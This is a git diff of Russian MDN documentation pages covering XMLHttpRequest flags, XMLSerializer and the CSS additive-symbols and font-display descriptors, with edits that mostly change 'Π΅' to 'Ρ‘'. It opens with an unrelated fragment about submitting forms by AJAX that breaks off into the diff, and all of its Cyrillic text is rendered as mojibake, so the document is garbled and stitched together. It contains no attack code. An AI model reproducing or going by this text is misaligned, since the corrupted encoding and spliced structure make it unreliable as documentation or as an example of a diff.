+<p>ВсС Π΄Π°Π½Π½Ρ‹Π΅ эффСкты Π΄ΠΎΡΡ‚ΠΈΠ³Π°ΡŽΡ‚ΡΡ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π²Π΅Π± Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ отправляСтС {{ HTMLElement("form") }}. Но Ссли Π²Π°ΠΌ трСбуСтся Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ всС ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ лишь JavaScript, Ρ‚ΠΎ Π²Π°ΠΌ придётся ΠΏΡ€ΠΎΠΈΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ‚ΠΎΡ€ ΠΎΠ±ΠΎ <em>всСх</em> выполняСмых опСрациях. Для, Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡ‹ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <em>чистого</em> AJAX, потрСбуСтся слишком комплСксноС описаниС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ‚ΡƒΡ‚ Ρ€Π°ΡΡΡƒΠΆΠ΄Π°Ρ‚ΡŒ ΠΎ Π½Π΅ΠΌ Π²ΠΎ всСх подробностях. Π’ связи с этим, ΠΌΡ‹ ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Π»ΠΈ здСсь <strong>ΠΏΠΎΠ»Π½Ρ‹ΠΉ(Π½ΠΎ всС Π΅Ρ‰Ρ‘ дидактичСский) Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ, </strong>ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ всС ΠΆΠ΅ способСн ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ всС Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ способа ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ ΠΈ, Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ <strong>Ρ„Π°ΠΉΠ»ΠΎΠ²ΡƒΡŽ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ.</strong></p>
<div style="height: 400px; margin-bottom: 12px; overflow: auto;">
<pre class="brush: html notranslate">&lt;!doctype html&gt;
diff --git a/files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html b/files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html
index 53fb283a75..bcd89a4530 100644
--- a/files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html
+++ b/files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html
@@ -43,9 +43,9 @@ translation_of: Web/API/XMLHttpRequest/XMLHttpRequest
<dd>БущСствуСт Π΄Π²Π° Ρ„Π»Π°Π³Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ:
<dl>
<dt><code>mozAnon</code></dt>
- <dd>Boolean: Установка этого Ρ„Π»Π°Π³Π° Π²Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>true</code> ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°ΡΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ {{Glossary("origin")}} ΠΈΒ <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#user-credentials" title="Defintion of β€œUser credentials” in the XMLHttpRequest specification.">ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ</a>Β ΠΏΡ€ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠΈ рСсурсов. Π“Π»Π°Π²Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Ρ„Π°ΠΉΠ»Ρ‹ {{Glossary("Cookie", "cookies")}} Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹, Ссли ΠΎΠ½ΠΈ Π½Π΅ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ явно с использованиСм setRequestHeader.</dd>
+ <dd>Boolean: Установка этого Ρ„Π»Π°Π³Π° Π²Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>true</code> ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°ΡΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ {{Glossary("origin")}} ΠΈΒ <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#user-credentials" title="Defintion of β€œUser credentials” in the XMLHttpRequest specification.">ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ</a>Β ΠΏΡ€ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠΈ рСсурсов. Π“Π»Π°Π²Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Ρ„Π°ΠΉΠ»Ρ‹ {{Glossary("Cookie", "cookies")}} Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹, Ссли ΠΎΠ½ΠΈ Π½Π΅ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ явно с использованиСм setRequestHeader.</dd>
<dt><code>mozSystem</code></dt>
- <dd>Boolean: Установка этого Ρ„Π»Π°Π³Π° Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>true</code> позволяСт ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ мСТсайтовыС соСдинСния Π½Π΅ трСбуя ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ сСрвСра с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{Glossary("CORS")}}. <em>Π’Ρ€Π΅Π±ΡƒΠ΅Ρ‚ установки Ρ„Π»Π°Π³Π° <code>mozAnon: true</code>, Ρ‚.ΠΊ. это нСльзя ΡΠΎΡ‡Π΅Ρ‚Π°Ρ‚ΡŒ с ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΎΠΉ Ρ„Π°ΠΉΠ»ΠΎΠ² cookie ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Π­Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… (ΠΏΡ€ΠΎΠ²Π΅Ρ€Π΅Π½Π½Ρ‹Ρ…) прилоТСниях ({{Bug ("692677")}}));Β  Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½Π° ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹Ρ… Π²Π΅Π±-страницах, Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹Ρ… Π² Firefox.</em></dd>
+ <dd>Boolean: Установка этого Ρ„Π»Π°Π³Π° Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>true</code> позволяСт ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ мСТсайтовыС соСдинСния Π½Π΅ трСбуя ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ сСрвСра с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{Glossary("CORS")}}. <em>Π’Ρ€Π΅Π±ΡƒΠ΅Ρ‚ установки Ρ„Π»Π°Π³Π° <code>mozAnon: true</code>, Ρ‚.ΠΊ. это нСльзя ΡΠΎΡ‡Π΅Ρ‚Π°Ρ‚ΡŒ с ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΎΠΉ Ρ„Π°ΠΉΠ»ΠΎΠ² cookie ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Π­Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… (ΠΏΡ€ΠΎΠ²Π΅Ρ€Π΅Π½Π½Ρ‹Ρ…) прилоТСниях ({{Bug ("692677")}}));Β  Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½Π° ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹Ρ… Π²Π΅Π±-страницах, Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹Ρ… Π² Firefox.</em></dd>
</dl>
</dd>
</dl>
diff --git a/files/ru/web/api/xmlserializer/index.html b/files/ru/web/api/xmlserializer/index.html
index 7df04c7f6d..9e8823e80c 100644
--- a/files/ru/web/api/xmlserializer/index.html
+++ b/files/ru/web/api/xmlserializer/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/XMLSerializer
<dt id="serializeToString"><code>XMLSerializer.serializeToString</code>()</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ сСриализованноС Π΄Π΅Ρ€Π΅Π²ΠΎ ΠΈΠ»ΠΈ Π²Π΅Ρ‚ΠΊΡƒ Π² Π²ΠΈΠ΄Π΅ строки</dd>
<dt id="serializeToStream"><code>XMLSerializer.serializeToStream()</code> {{ non-standard_inline() }}{{ deprecated_inline() }}</dt>
- <dd>ΠŸΠΎΠ΄Π΄Π΅Ρ€Π΅Π²ΠΎ, ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚ΠΎΠ΅ Π² ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ элСмСнт, сСриализуСтся Π² ΠΏΠΎΡ‚ΠΎΠΊ Π±Π°ΠΉΡ‚ΠΎΠ² с использованиСм ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠΈ.</dd>
+ <dd>ΠŸΠΎΠ΄Π΄Π΅Ρ€Π΅Π²ΠΎ, ΠΎΠ±Ρ‘Ρ€Π½ΡƒΡ‚ΠΎΠ΅ Π² ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ элСмСнт, сСриализуСтся Π² ΠΏΠΎΡ‚ΠΎΠΊ Π±Π°ΠΉΡ‚ΠΎΠ² с использованиСм ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠΈ.</dd>
</dl>
<h2 id="Examples" name="Examples">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
diff --git a/files/ru/web/css/@counter-style/additive-symbols/index.html b/files/ru/web/css/@counter-style/additive-symbols/index.html
index c8781e4d40..4ea2a2dc87 100644
--- a/files/ru/web/css/@counter-style/additive-symbols/index.html
+++ b/files/ru/web/css/@counter-style/additive-symbols/index.html
@@ -5,7 +5,7 @@ translation_of: Web/CSS/@counter-style/additive-symbols
---
<h2 id="ОписаниС">ОписаниС</h2>
-<p>ДСскриптор Π°Π΄Π΄ΠΈΡ‚ΠΈΠ²Π½Ρ‹Ρ… символов Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π΅Π½ дСскриптору <span class="seoSummary"> {{cssxref('symbols')}} </span>ΠΈ позволяСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ символы ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для прСдставлСний счСтчика, ΠΊΠΎΠ³Π΄Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ дСскриптора<span class="seoSummary"> {{cssxref('system')}}Β  <em>Π°Π΄Π΄ΠΈΡ‚ΠΈΠ²Π½ΠΎΠ΅</em>. ДСскриптор <code>additive-symbols</code> </span>опрСдСляСт Ρ‚Π°ΠΊ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ Π°Π΄Π΄ΠΈΡ‚ΠΈΠ²Π½Ρ‹Π΅ ΠΊΠΎΡ€Ρ‚Π΅ΠΆΠΈ<span class="seoSummary">, </span>ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… прСдставляСт собой ΠΏΠ°Ρ€Ρƒ, ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΡƒΡŽ символ ΠΈ Π½Π΅ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ цСлочислСнный вСс<span class="seoSummary">.</span> Аддитивная систСма ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для построСния систСм Π½ΡƒΠΌΠ΅Ρ€Π°Ρ†ΠΈΠΈ Π·Π½Π°ΠΊΠΎΠ², Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ римскиС Ρ†ΠΈΡ„Ρ€Ρ‹.</p>
+<p>ДСскриптор Π°Π΄Π΄ΠΈΡ‚ΠΈΠ²Π½Ρ‹Ρ… символов Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π΅Π½ дСскриптору <span class="seoSummary"> {{cssxref('symbols')}} </span>ΠΈ позволяСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ символы ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для прСдставлСний счётчика, ΠΊΠΎΠ³Π΄Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ дСскриптора<span class="seoSummary"> {{cssxref('system')}}Β  <em>Π°Π΄Π΄ΠΈΡ‚ΠΈΠ²Π½ΠΎΠ΅</em>. ДСскриптор <code>additive-symbols</code> </span>опрСдСляСт Ρ‚Π°ΠΊ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ Π°Π΄Π΄ΠΈΡ‚ΠΈΠ²Π½Ρ‹Π΅ ΠΊΠΎΡ€Ρ‚Π΅ΠΆΠΈ<span class="seoSummary">, </span>ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… прСдставляСт собой ΠΏΠ°Ρ€Ρƒ, ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΡƒΡŽ символ ΠΈ Π½Π΅ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ цСлочислСнный вСс<span class="seoSummary">.</span> Аддитивная систСма ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для построСния систСм Π½ΡƒΠΌΠ΅Ρ€Π°Ρ†ΠΈΠΈ Π·Π½Π°ΠΊΠΎΠ², Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ римскиС Ρ†ΠΈΡ„Ρ€Ρ‹.</p>
<p>Когда Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ систСмного дСскриптора являСтся цикличСским, числовым, Π±ΡƒΠΊΠ²Π΅Π½Π½Ρ‹ΠΌ, символичСским ΠΈΠ»ΠΈ фиксированным, дСскриптор <code>symbols</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ вмСсто Π°Π΄Π΄ΠΈΡ‚ΠΈΠ²Π½Ρ‹Ρ… символов для указания символов счСтчика.</p>
diff --git a/files/ru/web/css/@font-face/font-display/index.html b/files/ru/web/css/@font-face/font-display/index.html
index 603b7a8a66..e1466f1b1a 100644
--- a/files/ru/web/css/@font-face/font-display/index.html
+++ b/files/ru/web/css/@font-face/font-display/index.html
@@ -7,11 +7,11 @@ translation_of: Web/CSS/@font-face/font-display
<h2 id="ОписаниС">ОписаниС</h2>
-<p>ДСскриптор <code>font-display</code> опрСдСляСт Ρ‚ΠΎ, ΠΊΠ°ΠΊ ΡˆΡ€ΠΈΡ„Ρ‚, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΉ Ρ‡Π΅Ρ€Π΅Π·Β font face Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, загрузился Π»ΠΈ ΠΎΠ½ ΠΈ Π³ΠΎΡ‚ΠΎΠ² Π»ΠΈ ΠΊ использованию.</p>
+<p>ДСскриптор <code>font-display</code> опрСдСляСт Ρ‚ΠΎ, ΠΊΠ°ΠΊ ΡˆΡ€ΠΈΡ„Ρ‚, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΉ Ρ‡Π΅Ρ€Π΅Π·Β font face Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, загрузился Π»ΠΈ ΠΎΠ½ ΠΈ Π³ΠΎΡ‚ΠΎΠ² Π»ΠΈ ΠΊ использованию.</p>
<h3 id="ВрСмСнная_шкала_отобраТСния_ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ²">ВрСмСнная шкала отобраТСния ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ²</h3>
-<p>ВрСмСнная шкала отобраТСния ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ²Β ΠΎΡΠ½ΠΎΠ²Ρ‹Π²Π°Π΅Ρ‚ΡΡ Π½Π° Ρ‚Π°ΠΉΠΌΠ΅Ρ€Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ запускаСтся Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π°Π³Π΅Π½Ρ‚ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠΈ ΠΏΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΡŽ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½ΠΎΠ³ΠΎ ΡˆΡ€ΠΈΡ„Ρ‚Π°.Β  Π­Ρ‚Π° врСмСнная шкала Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π° Π½Π° Ρ‚Ρ€ΠΈ ΠΎΡ‚Ρ€Π΅Π·ΠΊΠ°, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Ρ… Π½ΠΈΠΆΠ΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΈΠΊΡ‚ΡƒΡŽΡ‚ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° Π»ΡŽΠ±Ρ‹Ρ… элСмСнтов с использованиСм ΡˆΡ€ΠΈΡ„Ρ‚Π°.</p>
+<p>ВрСмСнная шкала отобраТСния ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ²Β ΠΎΡΠ½ΠΎΠ²Ρ‹Π²Π°Π΅Ρ‚ΡΡ Π½Π° Ρ‚Π°ΠΉΠΌΠ΅Ρ€Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ запускаСтся Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π°Π³Π΅Π½Ρ‚ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠΈ ΠΏΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΡŽ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½ΠΎΠ³ΠΎ ΡˆΡ€ΠΈΡ„Ρ‚Π°.Β  Π­Ρ‚Π° врСмСнная шкала Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π° Π½Π° Ρ‚Ρ€ΠΈ ΠΎΡ‚Ρ€Π΅Π·ΠΊΠ°, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Ρ… Π½ΠΈΠΆΠ΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΈΠΊΡ‚ΡƒΡŽΡ‚ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° Π»ΡŽΠ±Ρ‹Ρ… элСмСнтов с использованиСм ΡˆΡ€ΠΈΡ„Ρ‚Π°.</p>
<dl>
<dt>ΠŸΠ΅Ρ€ΠΈΠΎΠ΄ Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ ΡˆΡ€ΠΈΡ„Ρ‚Π° (Font block period)</dt>
@@ -39,13 +39,13 @@ font-display: optional;</pre>
<dt>auto</dt>
<dd>Π‘Ρ‚Ρ€Π°Ρ‚Π΅Π³ΠΈΡŽΒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈΒ ΡˆΡ€ΠΈΡ„Ρ‚Π° опрСдСляСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π°Π³Π΅Π½Ρ‚.</dd>
<dt>block</dt>
- <dd>Для ΡˆΡ€ΠΈΡ„Ρ‚Π° задаСтся ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΈΠΉ ΠΏΠ΅Ρ€ΠΈΠΎΠ΄Β Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ ΠΈ бСсконСчный ΠΏΠ΅Ρ€ΠΈΠΎΠ΄Β ΠΏΠΎΠ΄ΠΌΠ΅Π½Ρ‹.</dd>
+ <dd>Для ΡˆΡ€ΠΈΡ„Ρ‚Π° задаётся ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΈΠΉ ΠΏΠ΅Ρ€ΠΈΠΎΠ΄Β Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ ΠΈ бСсконСчный ΠΏΠ΅Ρ€ΠΈΠΎΠ΄Β ΠΏΠΎΠ΄ΠΌΠ΅Π½Ρ‹.</dd>
<dt>swap</dt>
- <dd>Для ΡˆΡ€ΠΈΡ„Ρ‚Π° Π½Π΅ задаСтся ΠΏΠ΅Ρ€ΠΈΠΎΠ΄Β Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ ΠΈ задаСтся бСсконСчный ΠΏΠ΅Ρ€ΠΈΠΎΠ΄ ΠΏΠΎΠ΄ΠΌΠ΅Π½Ρ‹.</dd>
+ <dd>Для ΡˆΡ€ΠΈΡ„Ρ‚Π° Π½Π΅ задаётся ΠΏΠ΅Ρ€ΠΈΠΎΠ΄Β Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ ΠΈ задаётся бСсконСчный ΠΏΠ΅Ρ€ΠΈΠΎΠ΄ ΠΏΠΎΠ΄ΠΌΠ΅Π½Ρ‹.</dd>
<dt>fallback</dt>
- <dd>Для ΡˆΡ€ΠΈΡ„Ρ‚Π° задаСтся ΠΎΡ‡Π΅Π½ΡŒ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΈΠΉ ΠΏΠ΅Ρ€ΠΈΠΎΠ΄Β Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ ΠΈ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΈΠΉ ΠΏΠ΅Ρ€ΠΈΠΎΠ΄Β ΠΏΠΎΠ΄ΠΌΠ΅Π½Ρ‹.</dd>
+ <dd>Для ΡˆΡ€ΠΈΡ„Ρ‚Π° задаётся ΠΎΡ‡Π΅Π½ΡŒ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΈΠΉ ΠΏΠ΅Ρ€ΠΈΠΎΠ΄Β Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ ΠΈ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΈΠΉ ΠΏΠ΅Ρ€ΠΈΠΎΠ΄Β ΠΏΠΎΠ΄ΠΌΠ΅Π½Ρ‹.</dd>
<dt>optional</dt>
- <dd>Для ΡˆΡ€ΠΈΡ„Ρ‚Π° задаСтся ΠΎΡ‡Π΅Π½ΡŒ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΈΠΉ ΠΏΠ΅Ρ€ΠΈΠΎΠ΄ Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ ΠΈ Π½Π΅ задаСтся ΠΏΠ΅Ρ€ΠΈΠΎΠ΄ ΠΏΠΎΠ΄ΠΌΠ΅Π½Ρ‹.</dd>
+ <dd>Для ΡˆΡ€ΠΈΡ„Ρ‚Π° задаётся ΠΎΡ‡Π΅Π½ΡŒ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΈΠΉ ΠΏΠ΅Ρ€ΠΈΠΎΠ΄ Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ ΠΈ Π½Π΅ задаётся ΠΏΠ΅Ρ€ΠΈΠΎΠ΄ ΠΏΠΎΠ΄ΠΌΠ΅Π½Ρ‹.</dd>
</dl>
<h3 id="ΠžΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ_синтаксис">ΠžΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ синтаксис</h3>
diff --git a/files/ru/web/css/@font-face/index.html b/files/ru/web/css/@font-face/index.html
index 6382b864b4..b638ecc425 100644
--- a/files/ru/web/css/@font-face/index.html
+++ b/files/ru/web/css/@font-face/index.html
@@ -11,7 +11,7 @@ tags:
- Ρ‚ΠΈΠΏΠΎΠ³Ρ€Π°Ρ„ΠΈΠΊΠ°
translation_of: Web/CSS/@font-face
---
